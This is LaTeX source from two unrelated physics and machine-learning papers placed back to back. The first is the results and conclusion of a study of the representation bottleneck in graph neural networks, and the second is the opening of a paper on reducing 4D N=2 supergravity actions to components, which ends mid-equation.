\paragraph{Newtonian dynamics.} Newtonian dynamics~\citep{whiteside1966newtonian} describes the dynamics of particles according to Newton's law of motion: the motion of each particle is modeled using incident forces from nearby particles, which changes its position, velocity, and acceleration. Several important forces in physics, such as the gravitational force, are defined on pairs of particles, analogous to the message function of GNNs~\citep{cranmer2020discovering}. We adopt the N-body particle simulation dataset in~\citep{cranmer2020discovering}. It consists of N-body particles under six different interaction laws. More details can be referred to Appendix~\ref{newtonian}.
\paragraph{Hamiltonian dynamics.} Hamiltonian dynamics~\citep{greydanus2019hamiltonian} describes a system's total energy $\mathcal{H}(\mathbf{q},\mathbf{p})$ as a function of its canonical coordinates $\mathbf{q}$ and momenta $\mathbf{p}$, e.g., each particles' position and momentum. The dynamics of the system change perpendicularly to the gradient of $\mathcal{H}$: $\frac{\mathrm{d} \mathbf{q}}{\mathrm{d} t}=\frac{\partial \mathcal{H}}{\partial \mathbf{p}}, \frac{\mathrm{d} \mathbf{p}}{\mathrm{d} t}=-\frac{\mathrm{d} \mathcal{H}}{\mathrm{d} \mathbf{q}}$. There we take advantage of the same datasets from Newtonian dynamics case study, and attempt to learn the scalar total energy $\mathcal{H}$ of the system.
\paragraph{Molecular dynamics simulations.} Molecular dynamics (MD)~\citep{frenkel2001understanding,karplus2002molecular,tuckerman2010statistical} has long been has long been the \emph{de facto} choice for modeling complex atomistic systems from first principles. There MD simulations are carried out using the standard quantum chemistry computational method, density functional theory (DFT), which is different from the classic force field in Newtonian dynamics.
There we adopt the ISO17 dataset~\citep{schutt2017quantum,schutt2018schnet}, which is generated from MD simulations using the Fritz-Haber Institute \emph{ab initio} simulation package~\citep{blum2009ab}. ISO17 consists of 129 molecules, each containing 5K conformational geometries and total energies with a resolution of 1 femtosecond in the trajectories. Our target is to predict the atomic forces of the molecule at different timeframes.
\paragraph{Molecular property prediction.} The forecast of a broad range of molecular properties is a fundamental task in the field of drug discovery~\citep{drews2000drug}. The acceleration of finding better drug candidates is compelling since the average cost for a new drug is at a sky-high price~\citep{yang2019analyzing}, where DL methods, especially GNNs, play an irreplaceable role~\citep{wieder2020compact}. The properties in current molecular collections can be mainly divided into four categories: quantum mechanics, physical chemistry, biophysics, and physiology, ranging from molecular-level properties to macroscopic influences on the human body~\citep{wu2018moleculenet}.
We utilize two benchmark datasets. QM7~\citep{blum2009970} is a subset of GDB-13 and is composed of 7K molecules. QM8~\citep{ramakrishnan2015electronic} is a subset of GDB-17 with 22K molecules. Note that QM7 and QM8 provide one and twelve properties, respectively, and we merely use the \emph{E1-CC2} property in QM8 for simplicity.
\paragraph{Backbones.} In our experiments, two state-of-the-art geometric GNNs are selected to perform on these two graph types. We pick up \emph{equivariant graph neural network} (EGNN)~\citep{satorras2021n} for KNN-graphs, and \emph{Molformer}~\citep{wu20213d} with no motifs for FC-graphs. EGNN is roto-translation and reflection equivariant without the spherical harmonics~\citep{thomas2018tensor}. Molformer is a variant of Transformer~\citep{vaswani2017attention,hernandez2021attention}, designed for molecular graph learning.
\subsection{Results and Visualization.}
\label{exp}
\begin{figure}[t]
\centering
\includegraphics[scale=0.22]{str_order.pdf}
\vspace{-0.5em}
\caption{Distributions of interaction strengths of EGNN and Molformer in graph-level and node-level prediction tasks. We use double-x axes to represent the order $m$ and the ratio $\frac{m}{n}$.}
\label{str_order}
\vspace{-1em}
\end{figure}
\label{exp_results}
\paragraph{The learned distribution of interaction strengths can deviate from the data distribution.} Fig.~\ref{str_order} reports the learned distributions $J^{(m)}$ and the data distributions $J^{(m)}_D$ for both graph-level and node-level tasks. The complementary plots for QM7 are available in Appendix~\ref{dis_strenght_QM7}. From these curves, we can draw firmly that unlike CNNs in Fig.~\ref{str_order_cnn}, $J^{(m)}$ of GNNs can be divergent from $J^{(m)}_D$.
For molecular property prediction, $J^{(m)}_D$ is more intensive on low-order ($\frac{m}{n}\leq 0.3$). But after sufficient training, $J^{(m)}$ for EGNN mainly have high values for middle-order interactions ($0.5\leq \frac{m}{n}\leq 0.8$), and the middle-order segment ($0.4\leq \frac{m}{n}\leq 0.6$) of $J^{(m)}$ for Molformer also increases the most. This illustrates that subgraphs with a middle size are the very informative substructures to reveal the biological or chemical properties of small molecules. This finding persistently accords with the fact that motifs such as functional groups play a key part in determining molecular attributes~\citep{yu2020graph,wang2021towards,wu2022discovering}.
While for Hamiltonian dynamic systems, $J^{(m)}_D$ is majorly intense for low-order and middle-order interactions ($\frac{m}{n}\leq 0.6$). In spite of that, $J^{(m)}$ of EGNN concentrates more on high-order ($0.7\leq \frac{m}{n}\leq 0.9$) but neglect low-order ($\frac{m}{n}\leq 0.5$).
Regarding node-level prediction tasks, the scenery is more straightforward. Though $J^{(m)}$ for EGNN and Molformer are in different shapes, they both moves towards low-order interactions ($\frac{m}{n}\leq 0.3$) for Newtonian dynamics and high-order interactions for MD ($\frac{m}{n}\geq 0.7$). All those phenomenons demonstrate considerable discrepancies between $J^{(m)}$ and $J^{(m)}_D$ for GNNs.
\paragraph{The inductive bias heavily determines the change of learned distributions.} Unequivocally, the inclines of EGNN and Molformer to learn interactions of specific orders are distinct. Due to the inductive bias introduced by KNN-graphs, EGNN is more prone to pay attention to interactions of $K$th-order (e.g., $K=8$ in our setting). Contrarily, Molformer, based on FC-graphs, assumes that all particles can affect each other directly, resulting in a more unconstrained $J^{(m)}$. For example, its $J^{(m)}$ on Newtonian dynamics is extremely smooth like a straight line, but its $J^{(m)}$ on Hamiltonian and MD are steep curves. All these evidences bolster our proposal that the inductive bias brought by the topological structure of input graphs has a significant impact on $J^{(m)}$ of GNNs.
Particularly, KNN-graphs are more susceptible to improper inductive bias, which prevents EGNN concerning interactions of orders that differ from $K$ and can lead to worse performance. However, FC-graphs (or KNN-graphs with a large $K$) are not a panacea for all tasks. Except that FC-graphs require much more computational costs and may be prohibited for the case of tremendous entities, the performance of Molformer severely depends on the sufficiency and quality of training data. As shown in Tab.~\ref{improve_graph_level}, Molformer does not surpass EGNN on all datasets. Instead, it behaves worse than EGNN on Hamiltonian ($1.250>0.892$) and MD ($0.736 >0.713$), which motivates us to challenge the inductive bias of FC-graphs and resort to KNN-graphs occasionally.
\subsection{Investigation of the GNN Bottleneck}
\begin{wrapfigure}{r}{0.30\textwidth}
\vspace{-2em}
\begin{center}
\includegraphics[scale=0.28]{k_training.pdf}
\vspace{-1em}
\caption{The change of $m^*$ over epochs for EGNN.}
\label{k_training}
\vspace{-1em}
\end{center}
\end{wrapfigure}
\paragraph{Ablation studies.} In Section 3.4, we propose an ISGR method to dynamically optimize the inductive bias of GNNs. There we conduct experiments to examine its efficiency, and results are reported with the mean and standard deviation of three repetitions in Tab.~\ref{improve_nove_level} and ~\ref{improve_graph_level}. It can be observed that our ISGR algorithm significantly improves the performance of EGNN and Molformer on all graph-level and node-level tasks. Particularly, the promotion for EGNN is much higher, which confirms our assertion that GNNs based on KNN-graphs are more likely to suffer from the bad inductive bias. On the other hand, the improvement for Molformer in QM7 is more considerable than QM8. This proves that GNNs based on FC-graphs are more easily affected by inappropriate inductive bias (i.e., full connection) when the data is insufficient, since the size of QM7 (7K) is far smaller than QM8 (21K).
\begin{wraptable}{r}{0.63\textwidth}
\vspace{-1.5em}
\caption{Comparison of performance with (w.) and without (w/o) the ISGR mechanism for node-level prediction tasks.}
\label{improve_nove_level}
\begin{center}
\resizebox{0.63\columnwidth}{!}{%
\begin{tabular}{@{}c| cc | cc } \toprule
& \multicolumn{2}{c|}{{Newtonian Dynamics}} & \multicolumn{2}{c}{MD} \\ \midrule
Model & EGNN & Molformer & EGNN & Molformer\\ \midrule
w/o & 6.951 $\, \pm \,$ 0.098 & 1.929 $\, \pm \,$ 0.051 & 1.409 $\, \pm \,$ 0.082 & 0.848 $\, \pm \,$ 0.053 \\
w. & \textbf{4.734 $\, \pm \,$ 0.103} & \textbf{1.879 $\, \pm \,$ 0.066} & \textbf{0.713 $\, \pm \,$ 0.097} & \textbf{0.736 $\, \pm \,$ 0.048} \\ \toprule
\end{tabular}}
\vspace{-1.5em}
\end{center}
\end{wraptable}
\paragraph{The change of $m^*$ during training.} We plot the variation tendency of $m^*$ over different epochs in Fig.~\ref{k_training}. It shows that different tasks enjoy various optimal $K$ (denoted as $K^*$). Explicitly, Hamiltonian dynamics and Newtonian dynamics benefit from full-connection ($\frac{K^*}{n} = 1$), while the molecular property prediction including QM7 and QM8 benefits more from middle-order interactions ($\frac{K*}{n} \approx 0.5$). This phenomenon perfectly fits to the physical laws, because the system in Newtonian and Hamiltonian datasets is extremely compact with close pairwise distances. Those particles are more likely to be influenced by all the other nodes.
\begin{figure}[t]
\centering
\includegraphics[scale=0.16]{J_training.pdf}
\vspace{-1em}
\caption{The change of interaction strengths with different training epochs for EGNN on different tasks.}
\label{J_training}
\vspace{-1em}
\end{figure}
\paragraph{The change of interaction strengths during training.} Fig.~\ref{J_training} depicts how $J^{(m)}$ changes when the training proceeds with our ISGR algorithm. Although for data like QM7, QM8, and Hamiltonian dynamics, $J^{(m)}_D$ mostly concentrate on low-order interactions ($\frac{m}{n} \leq 0.4$), $J^{(m)}$ progressively adjust to middle-order and high-order ($\frac{m}{n}\geq 0.4$). Regarding Newtonian dynamics, $J^{(m)}_D$ is very smooth, but $J^{(m)}$ at initial epochs (i.e., $10$ and $20$ epochs) oddly focus on low-order interactions ($\frac{m}{n}\leq 0.4$). Nevertheless, our ISGR method timely corrects the wrong tendency and eventually, $J^{(m)}$ becomes more intensive in segments of middle-order and high-order ($\frac{m}{n}\geq 0.6$).
\section{Related Work}
\paragraph{The representation capacity of GNNs.} It has become an emerging area to evaluate the representation capability of DNNs. Previous researches mainly study the theoretically maximum complexity~\citep{shwartz2017opening}, generalization ability~\citep{novak2018sensitivity,weng2018evaluating,fort2019stiffness}, and robustness~\citep{neyshabur2017exploring} of DNNs.~\citet{zhang2020interpreting} and~\citet{deng2021discovering} are pioneers to focus on the limitation of DNNs in feature representations by means of variable interactions. Notwithstanding, these prior works highlight the behaviors of general DNNs and experimentally examine their assertions via MLP and CNNs. In comparison, we focus on GNNs that operate on structured graphs, which are very distinct from images and texts.
More relevantly,~\citet{barcelo2020logical} finds that the expressiveness of GNNs captures only a tiny fragment of first-order logic. This arises from the inability of a node to be aware of distant nodes that are farther away than the number of total layers. However, GNNs are observed not to benefit from the increase of layers due to the \emph{over-smoothing} dilemma~\citep{li2018deeper,klicpera2018predict,chen2020measuring}. Recently,~\citet{alon2020bottleneck} proposes the existence of the \emph{over-squashing} phenomenon for GNNs to grab long-range interactions and modify the last GNN layer to operate on a FC-graph. To take a step further,~\citet{topping2021understanding} proves that negatively curved edges are responsible for the \emph{over-squashing} issue and introduces a curvature-based graph rewiring approach to alleviate that. More related works in regards to the representation capability of GNNs are in Appendix~\ref{more_related}. But none of them considers GNNs' capacity in encoding pairwise interactions. To the best of our knowledge, we are among the first to understand of GNNs' representation capability from the perspective of interactions under different contextual complexities and link it with their inductive bias. An interesting discussion regarding motif-based heterogeneous graphs from the view of our discovered bottleneck is in Appendix~\ref{motif}.
\paragraph{Explainable GNNs for science.} Variants of GNNs have shown ground-breaking performance in the field of natural science~\citep{battaglia2016interaction,sanchez2018graph,sanchez2020learning}. However, most GNNs are black boxes that are too complicated for scientists to comprehend and interpret the results~\citep{rudin2019stop}. Growing efforts have been made towards their explainability. For example,~\citet{cranmer2020discovering} perform symbolic regression to components of well-trained GNNs and extract compact closed-form analytical expressions. A more mainstream line is to recognize an informative yet compressed subgraph from the original graph~\citep{yu2020graph,wang2021towards,wang2022deconfounding,wu2022discovering}. Identification of those subgraphs promotes GNNs to audit their inner workings and justify their predictions~\citep{wu2022discovering}, which can shed light on meaningful scientific tasks like protein structure prediction~\citep{senior2020improved}. Our work devises a contextual-aware method to comprehensively understand what complexity of interactions are the most influential and best interpret the decisions of GNNs.
\section{Conclusion}
In this paper, we have discovered and strictly analyzed the representation bottleneck of GNNs from the view of the complexity of interactions encoded in networks. Remarkably, middle-order interactions are dominantly meaningful in the expressions of GNNs than low-order or high-order interactions. This offers a novel explanation to a well-known belief that subgraphs (e.g., motifs) contribute to recognizing graph properties.
Apart from that, we distinguish the robust relatedness between the inductive bias of GNNs and their learned distribution of interaction strengths. This observation concludes that inductive biases introduced by most graph construction mechanisms such as KNN and full connection can be sub-optimal. Inspired by this gap, we design a novel graph rewiring method to optimize the inductive bias based on the inclination of GNNs to encode more informative orders of interactions. We conduct a broad range of experiments on four synthetic and real-world tasks, and the results verify that GNNs are allowed to reach the global minimum loss and break the bottleneck via our efficient algorithm.
\begin{table*}[t]
\caption{Comparison of performance with (w.) and without (w/o) the ISGR mechanism for graph-level prediction tasks.}
\label{improve_graph_level}
\centering
\resizebox{0.9\columnwidth}{!}{%
\begin{tabular}{@{}c| cc | cc | cc } \toprule
& \multicolumn{2}{c|}{{Hamiltonian Dynamics}} & \multicolumn{2}{c|}{QM7} & \multicolumn{2}{c}{QM8} \\ \midrule
Model & EGNN & Molformer & EGNN & Molformer & EGNN & Molformer \\ \midrule
w/o & 1.392$\, \pm \,$0.042 & 1.545$\, \pm \,$0.036 & 68.182$\, \pm \,$3.581 & 51.119$\, \pm \,$2.193 & 0.012$\, \pm \,$0.001 & 0.012$\, \pm \,$0.001 \\
w. & \textbf{0.892$\, \pm \,$0.051} & \textbf{1.250$\, \pm \,$0.029} & \textbf{53.134$\, \pm \,$2.711} & \textbf{34.439$\, \pm \,$4.017} & \textbf{0.011$\, \pm \,$0.000} & \textbf{0.010$\, \pm \,$0.001} \\ \toprule
\end{tabular}}
\vspace{-0.5em}
\end{table*}
\newpage
|
1,477,468,750,068 | arxiv | \section{#1}}
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\begin{document}
\begin{titlepage}
\begin{flushright}
UMDEPP 08-027\\
December, 2008\\
\end{flushright}
\vspace{5mm}
\begin{center}
{\Large \bf Different representations for the action principle }\\
{\Large \bf in 4D $\bm{\cN=2}$ supergravity}
\end{center}
\begin{center}
{\large
Sergei M. Kuzenko\footnote{{kuzenko@cyllene.uwa.edu.au}}${}^{a}$
and
Gabriele Tartaglino-Mazzucchelli\footnote{gtm@umd.edu}${}^{a,b}$
}\\
\vspace{5mm}
\footnotesize{
${}^{a}${\it School of Physics M013, The University of Western Australia\\
35 Stirling Highway, Crawley W.A. 6009, Australia}}
~\\
\vspace{2mm}
${}^{b}${\it Center for String and Particle Theory,
Department of Physics \\
University of Maryland, College Park, MD 20742-4111, USA}
~\\
\end{center}
\vspace{5mm}
\begin{abstract}
\baselineskip=14pt
Within the superspace formulation for
four-dimensional $\cN=2$ matter-coupled supergravity
developed in arXiv:0805.4683, we elaborate two approaches to reduce the superfield
action to components. One of them is based on the principle of projective
invariance which is a purely $\cN=2$ concept having no analogue in simple supergravity.
In this approach, the component reduction of the action is performed {\it without} imposing
any Wess-Zumino gauge condition, that is by keeping intact all the gauge symmetries
of the superfield action, including the super-Weyl invariance.
As a simple application, the c-map is derived for the first time from superfield supergravity.
Our second approach to component reduction is based on the method of normal
coordinates around a submanifold in a curved superspace, which we develop in detail.
We derive differential equations which are obeyed by the vielbein and the connection
in normal coordinates,
and which can be used to reconstruct these objects, in principle in closed form.
A separate equation is found for the super-determinant of the vielbein $E= {\rm Ber} (E_M{}^A)$,
which allows one to reconstruct $E$ without a detailed knowledge of the vielbein.
This approach is applicable to any supergravity theory in any number of space-time dimensions.
As a simple application of this construction, we reduce an integral over the
curved $\cN=2$ superspace to that over the chiral subspace of the full superspace.
We also give a new representation for the curved projective-superspace action principle
as a chiral integral.
\end{abstract}
\vspace{1cm}
\vfill
\end{titlepage}
\newpage
\renewcommand{\thefootnote}{\arabic{footnote}}
\setcounter{footnote}{0}
\tableofcontents{}
\vspace{1cm}
\bigskip\hrule
\section{Introduction}
\setcounter{equation}{0}
One of the main virtues of superspace approaches to supergravity theories
in diverse dimensions is the possibility
to write down the most general locally supersymmetric actions formulated in terms
of a few superfield dynamical variables possessing, as a rule, a transparent geometric origin.
The price to pay for this generality is that working out a reduction from the parental superfield action
to its component counterpart requires some special care. Being trivial conceptually, such a
reduction may be technically quite involved and challenging.
The present paper is aimed at carrying out a component reduction,
as well as a partial superspace reduction, for the action principle occurring within
the superspace formulation for four-dimensional $\cN=2$ matter-coupled supergravity
recently developed in \cite{KLRT-M}, as a natural extension of
the earlier construction for 5D $\cN=1$ supergravity \cite{KT-Msugra1,KT-Msugra3}.
The matter fields in \cite{KLRT-M} are described in terms of covariant projective
multiplets which are curved-space versions of the superconformal
projective multiplets \cite{K-hyper2} living in rigid projective superspace
\cite{LR}. In addition to the local $\cN=2$ superspace
coordinates\footnote{World indices take values
$m=0,1,\cdots,3$, $\mu=1,2$, $\dot{\mu}=1,2$ and $i={\underline{1}},{\underline{2}}$,
and similarly for tangent space indices;
see Appendix \ref{SCG} for our notation and conventions.}
$z^{{M}}=(x^{m},\theta^{\mu}_i,{\bar \theta}_{\dot{\mu}}^i)$,
such a supermultiplet, $Q^{(n)}(z,u^+)$, depends on auxiliary
isotwistor variables $u^{+}_i \in {\mathbb C}^2 \setminus \{0\}$,
with respect to which $Q^{(n)}$ is holomorphic and homogeneous,
$Q^{(n)}(c \,u^+) =c^n \,Q^{(n)}(u^+)$, on an open domain of ${\mathbb C}^2 \setminus \{0\}$
(the integer parameter $n$ is called the weight of $Q^{(n)}$).
In other words, such superfields are intrinsically defined in ${\mathbb C}P^1$.
The covariant projective supermultiplets are required to be
annihilated by half of the supercharges,
\begin{equation}
\cD^+_{\alpha} Q^{(n)} = {\bar \cD}^+_{\ad} Q^{(n)} =0~, \qquad \quad
\cD^+_{ \alpha}:=u^+_i\,\cD^i_{ \alpha} ~, \qquad
{\bar \cD}^+_{\dot \alpha}:=u^+_i\,{\bar \cD}^i_{\dot \alpha} ~,
\label{ana-introduction}
\end{equation}
with $\cD_{{A}} =(\cD_{{a}}, \cD_{{\alpha}}^i,\cDB^\ad_i)$ the covariant superspace
derivatives. The dynamics of supergravity-matter
systems are described by locally supersymmetric actions of the form \cite{KLRT-M}:
\begin{eqnarray}
S&=&
\frac{1}{2\pi} \oint_C (u^+ {\rm d} u^{+})
\int {\rm d}^4 x \,{\rm d}^4\theta {\rm d}^4{\bar \theta}
\,E\, \frac{{ W}{\bar { W}}\cL^{++}}{({ \Sigma}^{++})^2}~,
\qquad E^{-1}= {\rm Ber}(E_A{}^M)~,
\label{InvarAc}
\end{eqnarray}
where
\begin{equation}
{ \Sigma}^{++}:=\frac{1}{4}\Big( (\cD^+)^2 +4S^{++}\Big){ W}
=\frac{1}{4}\Big( ({\bar \cD}^+)^2 +4\bar{S}^{++}\Big){ {\bar W}}
=\Sigma^{ij}u^+_i u^+_j~.
\label{Sigma}
\end{equation}
Here the Lagrangian $\cL^{++}(z,u^+)$ is a covariant real projective
multiplet of weight two, $ W(z)$ is the
covariantly chiral field strength of an Abelian vector multiplet,
$S^{++}(z,u^+)=S^{ij}(z)u^+_i u^+_j$ and
$\bar{S}^{++}(z,u^+)={\bar S}^{ij}(z)u^+_i u^+_j$
are special dimension-1 components of the torsion.
The action (\ref{InvarAc}) can be shown to be invariant
under the supergravity gauge transformations, and it is also manifestly
super-Weyl invariant \cite{KLRT-M}.
It can also be rewritten in the equivalent form
\begin{eqnarray}
S&=&
\frac{1}{2\pi} \oint_C (u^+ {\rm d} u^{+})
\int {\rm d}^4 x \,{\rm d}^4\theta {\rm d}^4{\bar \theta}
\,E\, \frac{\cL^{++}}{ S^{++} \bar{S}^{++}}~
\label{InvarAc2}
\end{eqnarray}
in which, however, the super-Weyl invariance is not manifest.
The latter form makes transparent the fact that the action
is independent of the
compensating vector multiplet described by $W$ and $\bar W$
provided $\cL^{++} $ is independent of it.
As argued in \cite{KLRT-M,K-2008}, the dynamics of a general $\cN=2$
supergravity-matter system can be described by an action of
the form (\ref{InvarAc}), including the chiral actions which can
always be brought to the form (\ref{InvarAc}).
This is why the action principle (\ref{InvarAc})
is of fundamental importance in $\cN=2$ supergravity.
There are two special properties of the action (\ref{InvarAc}) that we would like to point out.
{}First of all, the integration in (\ref{InvarAc}) is carried out over the {\it full} superspace,
therefore one has to integrate out eight Grassmann variables in order to reduce
the action to components.
Secondly, the Lagrangian in (\ref{InvarAc}) obeys the analyticity constraints
(\ref{ana-introduction}) which enforce $\cL^{++}$
to depend on only {\it half} of the superspace Grassmann variables.
In this respect, the $\cN=2$ action (\ref{InvarAc}),
or more precisely its equivalent form (\ref{InvarAc2}), is analogous to the chiral action
in 4D $\cN=1$ supergravity \cite{Zumino78,SG},
as specially emphasised in \cite{KTM-4D-confFlat}.
These two features of the $\cN=2$ supergravity action hint at an opportunity
to use the experience gained and the techniques developed, e.g., in
4D $\cN=1$ superfield supergravity,
in order to reduce (\ref{InvarAc}) to components.
In textbooks on 4D $\cN=1$ supergravity \cite{WB,GGRS,BK}, one can find
two methods of component reduction.
One of them (to be referred to as {\it method 1}),
elaborated in detail\footnote{More precisely,
Ref. \cite{GGRS} only stated the density formula and sketched its derivation.
Years later, three of the authors of \cite{GGRS} came up with
simple alternative derivations of the density formula \cite{Gates,GKS}.}
in \cite{WB,GGRS},
was originally introduced by Wess and Zumino
\cite{WZ2} and presents itself as a version of the Noether procedure.
It involves the following two steps: (i) starting from the superfield dynamical variables,
one first reads off corresponding multiplets of component fields and their local
supersymmetry transformations, using a Wess-Zumino gauge imposed on the superfield
vielbein and connection;
(ii) after that, the desired density multiplet
is iteratively reconstructed from its lowest component
in conjunction with the known supersymmetry
transformation laws.
This method was further developed, and generalized to the case of chiral actions
in $\cN=2$ supergravity, in \cite{Muller82,Ramirez,Muller}
using covariant expansions with respect to $\Theta$-variables \cite{WZ2,WB}
of somewhat mysterious geometric origin.
The other approach ({\it method 2})
was elaborated in detail in \cite{BK}, although its first application in the case of pure
supergravity was given by Gates and Siegel \cite{SG}.
It can be implemented provided there exists a formulation of the given supergravity theory in terms
of unconstrained prepotentials, and such a formulation is indeed available in the case
of 4D $\cN=1$ supergravity \cite{SG,OS}.
It involves the same step (i) as above modulo the fact that a Wess-Zumino gauge
is now imposed on the supergravity prepotentials.
Its real gain is that, instead of carrying out the painfully laborious procedure (ii)
of method 1, now one should simply do an ordinary
Grassmann integral.
Both methods discussed above are hardly of any practical use in the case of
$\cN=2$ supergravity formulation under consideration.
Being applicable in principle, method 1 becomes too laborious
to be used for general $\cN=2$ supergravity-matter systems.
As to method 2, no prepotential formulation is yet available for
the projective-superspace formulation for $\cN=2$ supergravity given in \cite{KLRT-M}.
A prepotential formulation for $\cN=2$ supergravity has been constructed within the
harmonic-superspace approach \cite{GIKOS,GIOS,GIOS-book}.\footnote{In
the rigid supersymmetric case, the harmonic \cite{GIKOS} and
the projective \cite{KLR,LR} approaches are closely related \cite{K-double},
and this should extend, in principle, to the case of supergravity.} However, no comprehensive
analysis of the component reduction in curved harmonic superspace has yet appeared.
A relatively new paradigm for component reduction in supergravity
appeared some ten years ago.
As advocated in Refs. \cite{GKS,GK}, which built on the earlier work \cite{AD},
an ideal means to perform covariant
theta-expansions and integrate out Grassmann variables is provided by
the superspace normal coordinates introduced a quarter of a century ago by McArthur \cite{McA}
for completely different aims.\footnote{In \cite{McA2}, the normal coordinate techniques
\cite{McA} were applied
to compute the so-called $b_4$ (or, equivalently, $a_2$) coefficients for chiral matter in
4D $\cN=1$ supergravity. Although there exists a purely covariant and very efficient
approach to evaluate the Schwinger-DeWitt coefficients in curved superspace \cite{BK86},
the method of superspace normal coordinates \cite{McA}
proves to be truly indispensable for deriving
the density formulae in supergravity theories, as emphasized in \cite{GKS}.}
This technique was applied in \cite{GKS,GK} to compute the density formula
for several supergravity models in diverse dimensions including the case of 4D
$\cN=1$ supergravity.
Since the method of fermionic normal coordinates employed in
\cite{GKS,GK} is a version of Wess-Zumino gauge in curved superspace,
this construction is ultimately related to the earlier approaches pursued in
\cite{Muller82,Ramirez,Muller}.
The powerful property of the method of normal coordinates\footnote{In
$\cN=1$ supergravity, there exists a different normal coordinate construction
\cite{OS-normal} based on the prepotential formulation due to Ogievetesky and Sokatchev
\cite{OS}. This normal gauge should possess a natural extension to the case
of $\cN=2$ supergravity formulated in harmonic superspace \cite{GIKOS,GIOS,GIOS-book},
and it would be very interesting to work out such an extension explicitly. }
\cite{McA} is its universality,
as emphasized in \cite{GKS} (of course, this is not accidental,
for the method is a superspace extension of the Riemann normal coordinates).
It can be used for any supergravity theory formulated in superspace,
for any number of space-time dimensions. For example, it has recently been used
in the case of eleven dimensional supergravity \cite{Ts}.
In particular, it can be applied to reduce the action (\ref{InvarAc})
to components. However, the latter application would still require a nontrivial
computational effort. Remarkably, the specific feature of 4D $\cN=2$ supergravity
(and also 5D $\cN=1$ supergravity)
is that it offers us an alternative and much more efficient scheme
to reduce the action (\ref{InvarAc}) to components which is based on the principle of
projective invariance \cite{K-hyper1,KT-M,KT-Msugra1}.
This unusual invariance, which has no analogue in the $\cN=1$ case,
is easy to visualize in a flat superspace limit where the action (\ref{InvarAc}) reduces to
\begin{eqnarray}
S_{\rm flat}&=&\frac{8}{\pi} \oint (u^+ {\rm d} u^{+})
\int {\rm d}^4 x \,{\rm d}^4\theta {\rm d}^4{\bar \theta}
\, \frac{W{\bar W}L^{++}(u^+)}{(D^+)^2W\,(\bar{D}^+)^2\bar{W}}
\nonumber \\
&=& \frac{1}{2\pi} \oint \frac{(u^+{\rm d} u^{+})}{(u^+u^-)^4}
\int {\rm d}^4 x \, (D^-)^2(\bar{D}^-)^2 L^{++}(u^+)\big|_{\theta = \bar \theta =0}~.
\label{flatac}
\end{eqnarray}
Here the spinor derivatives $D^-_\alpha$ and ${\bar D}^-_\ad$
are obtained from $D^+_\alpha$ and ${\bar D}^+_\ad$ by replacing
$u^+_i \to u^-_i$, with the latter being a fixed constant
isotwistor for which the only constraint is
$(u^+u^-)\neq 0$ at each point of the integration contour.
Since $L^{++}$ is a weight-two rigid projective supermultiplet,
the action can be seen to be invariant
under arbitrary {\it projective transformations} of the form:
\begin{equation}
(u_i{}^-\,,\,u_i{}^+)~\to~(u_i{}^-\,,\, u_i{}^+ )\,R~,~~~~~~R\,=\,
\left(\begin{array}{cc}a~&0\\ b~&c~\end{array}\right)\,\in\,{\rm GL(2,\mathbb{C})}~.
\label{projectiveGaugeVar}
\end{equation}
Clearly, this projective invariance is almost obvious in flat superspace.
In curved superspace, however, it turns into a powerful constructive principle
to reduce the action (\ref{InvarAc}) to components, and what is most
non-trivial -- without imposing any Wess-Zumino gauge condition!
This paper is organized as follows. In section 2, we provide an alternative
derivation of normal coordinates around a submanifold in an arbitrary curved superspace.
Although the consideration given in \cite{GKS} involves some ingenious acrobatics,
it leaves several important questions unanswered such as
the explicit structure of equations which could allow one to derive
normal coordinate expressions
for the connection and the vielbein to any order in perturbation theory
(in this respect, the work \cite{Ts}, which closely follows the original
normal coordinate construction of \cite{McA}, contains very useful results).
Our presentation in section 2 is based in part on earlier approaches developed
in general relativity \cite{Synge} and quantum gravity
\cite{DeWitt1,DeWitt2,BV,Avr} many years ago, as well as some more
recent covariant techniques for super Yang-Mills theories \cite{KMcA}.\footnote{The
material in section 2 is based in part on unpublished lecture notes by one of us (SMK)
\cite{K-Hannover}.}
Here we derive differential equations which are obeyed by the vielbein and the connection
in normal coordinates,
and which can be used to reconstruct these objects, in principle in closed form.
We also present an equation for the super-determinant of the vielbein,
$E= {\rm Ber} (E_M{}^A)$,
which allows one to reconstruct $E$ without a detailed knowledge of the vielbein.
As an application of the techniques developed in section 2,
in section 3 we explicitly reduce
an integral over the full 4D $\cN=2$ curved superspace to that over the chiral subspace.
Section 4 is central to the present work. Here we reduce the action (\ref{InvarAc})
to components using the principle of projective invariance.
We also consider two applications. First, we prove the gauge invariance of the
special vector-tensor coupling introduced in \cite{KLRT-M}.
Second, we give a curved superspace description for the c-map \cite{cmap1,cmap2}.
In section 5, we derive a new representation for the covariantly chiral projector
and use this result to reformulate the action (\ref{InvarAc}) as a chiral integral.
This paper is accompanied by three technical appendices.
In appendix A we collect the salient points of the superspace formulation for
$\cN=2$ supergravity, following \cite{KLRT-M}, which are essential for understanding
the main results of this paper. Appendix B summarizes the main properties of
covariant projective supermultiplets following \cite{KLRT-M}. Finally,
appendix C provides the proof of eq. (\ref{chiralproj2}).
\section{Integrating out fermionic dimensions }
\setcounter{equation}{0}
In this section, we temporarily leave aside the main object of our study -- $\cN=2$
matter-coupled supergravity in four space-time dimensions, and instead discuss
the problem of defining a normal coordinate system around a submanifold of
a curved superspace with any number of bosonic and fermionic dimensions.
We will present an application of the formalism developed to the case of 4D $\cN=2$
supergravity in section 3.
\subsection{Parallel transport and associated two-point functions}
\label{parallel1}
Let us consider a curved superspace $\cM \equiv \cM^{d|\delta}$ with $d$ space-time
and $\delta$ fermionic dimensions, and let $z^M$ be local coordinates chosen to parametrize $\cM$.
The corresponding superspace geometry is described by covariant derivatives
\begin{eqnarray}
\cD_A =E_A +\Phi_A~, \qquad
E_A : = E_A{}^M(z)\, \pa_M ~, \qquad
\Phi_A := \Phi_A (z) {\bm \cdot} {\mathbb J} =E_A{}^M \Phi_M ~.
\end{eqnarray}
Here $\mathbb J$ denotes
the generators of the structure group\footnote{The formalism below can be readily generalized
to incorporate an internal Yang-Mills group $G_{\rm int}$ by replacing
$G \to G \times G_{\rm int}$.}
$G$ (with all indices of $\mathbb J$s suppressed),
$E_A $ is the inverse vielbein, and $\Phi ={\rm d} z^M \Phi_M =E^A \Phi_A$ the connection.
As usual, the matrices defining the vielbein $E^A := {\rm d}z^M E_M{}^A(z)$
and its inverse $E_A $ obey the identities $E_A{}^M E_M{}^B =\delta_A{}^B$ and
$E_M{}^A E_A{}^N =\delta_M{}^N$.
An infinitesimal $G$-transformation acts on the components of a vector field
$v =v^A E_A$ and a one-form $\omega= E^A \omega_A$ as follows:
\begin{eqnarray}
